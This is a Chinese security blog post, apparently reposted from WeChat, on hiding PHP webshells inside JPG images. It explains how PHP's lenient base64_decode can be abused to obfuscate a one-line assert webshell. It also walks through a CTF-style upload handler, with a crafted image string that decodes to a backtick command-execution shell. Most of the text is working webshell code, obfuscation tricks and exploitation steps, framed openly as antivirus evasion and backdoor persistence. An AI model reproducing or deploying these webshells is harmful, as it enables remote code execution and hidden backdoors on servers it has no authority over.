图片马
本文主要是基于jpg格式的图片型webshell的研究,即再正常图片中隐藏webshell代码,从而达到webshell免杀、实现隐藏后门与权限维持的目的。
从php的base64_decode说起
我们知道,再php的base64_decode中,会只对合法字符合并后解码,非法字符会直接丢弃,不参与整体的base64解码。
合法字符包括以下64个字符
A-Za-z0-9/+
其中字母是26+26,数字是10,符号是3,合计为26+26+10+2=64,等于号是占位符,不是编码范围之内的字符
可以用以下代码做测试
<?php
echo base64_decode($_GET[1]);
# 在php中base64解码函数是很强的,基本上咋写都可以解析
# 除了个别规则以外
例如:
字符串: a
base64: YQ==
php_1:
base64: ----Y|Q==
解码为: a
解码情况: 成功
php_2:
base64: ^Y-|]--[Q-=)=
解码为: a
解码情况: 成功
php_3:
base64: 来Y测Q=试=啊
解码为: a
解码情况: 成功
php_4:
base64: YQ==Yg==
解码为: 第⼀个YQ==成功解码,第⼆个YQ==会解析成乱码
解码情况: YQ==会解析为a, Yg==会解析为乱码, YQ==遇到=号了解析完毕以后后⾯的base64都
会乱码
基础编码:
字符串: aaa!~~!aa123g
base64: YWFhIX5+IWFhMTIzZw==
那么这个姿势在进⾏编写免杀⻢⼦的时候就特别适合了
因为这⼏个特性是php独有的,其他语⾔解码会乱码
例如写⼀个基础的⼀句话⽊⻢然后混淆
⽂件名: test.php
<?php
assert(get_defined_vars()['_GET'][1]);
?>
混淆
<?php
$base64_decode_str = 'edoced_46esab';
$base64_decode = strrev($base64_decode_str);
// get_defined_vars 的 base64
$parameter_base64 = 'Z~2!!!V#0%X{2}R.l;Z,ml.u|Z-W^R……f*dmFycw==^^^^^^';
$parameter = $base64_decode($parameter_base64);
// assert 的 base64
$assert_base64 = '<>-Y|X_N@z!ZX]J[0:.::::';
$asser = $base64_decode($assert_base64);
// 利⽤
$asser($parameter()['_GET'][1]);
?>
利⽤⽅法: http://127.0.0.1/test.php?1=phpinfo();
开始讲图片马
附一段代码
error_reporting(0);
if(strlen($_FILES['file']['tmp_name'])>0){
$filetype = $_FILES['file']['type'];
$tmpname = $_FILES['file']['tmp_name'];
$ef = getimagesize($tmpname);
if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
$content = base64_decode(file_get_contents($tmpname));
file_put_contents("shell.php", $content);
echo "file upload success!";
}
}else{
highlight_file(__FILE__);
}
这里严格限制了图片类型,不仅需要通过getimagesize校验,还要比对mime信息,最后还要进行base64的解码
这就要求我们构造一个可以正常使用的照片,只保留base64编码中的64种字符,图片信息不能存在可见字符,还不能破坏图片的结构
经过精心构造(ctfshow群主构造的图片tql),得到下面的图片
PD89YCRfR0VUWzFdYDs7Pz4C
base64_decode以后即达到目的
<?=`$_GET[1]`;;?>
实际图片
https://img-blog.csdnimg.cn/6cf18af3033c4a46b93068cde6d05abb.png
图片上传完成后由于
$content = base64_decode(file_get_contents($tmpname));
file_put_contents("shell.php", $content);
访问shell.php可成功rce
writed by:
xinyuan
原文始发于微信公众号(SkyMirror 穹镜):骚姿势之图片马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论